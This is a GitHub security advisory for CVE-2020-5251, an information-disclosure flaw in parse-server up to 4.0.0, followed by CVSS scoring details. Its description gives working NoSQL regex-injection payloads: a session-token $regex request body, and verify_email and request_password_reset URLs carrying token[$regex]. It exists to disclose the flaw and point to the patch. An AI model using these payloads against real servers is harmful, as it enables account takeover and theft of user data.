Skip to content

Information disclosure in parse-server

High severity GitHub Reviewed Published Mar 3, 2020 in parse-community/parse-server • Updated Jan 9, 2023

Package

npm parse-server (npm)

Affected versions

<= 4.0.0

Patched versions

4.1.0

Description

  1. you can fetch all the users' objects, by using regex in the NoSQL query.
    Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{
  "_ApplicationId": "appName",
  "_JavaScriptKey": "javascriptkey",
  "_ClientVersion": "js2.10.0",
  "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
  "_SessionToken": {
    "$regex": "r:5"
  }
}

When trying it with an update query the same thing luckily doesn't seem to work:
POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

References

@acinader acinader published to parse-community/parse-server Mar 3, 2020
Reviewed Mar 4, 2020
Published to the GitHub Advisory Database Mar 4, 2020
Last updated Jan 9, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

0.071%
(33rd percentile)

CVE ID

CVE-2020-5251

GHSA ID

GHSA-h4mf-75hf-67w4

Source code

No known source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.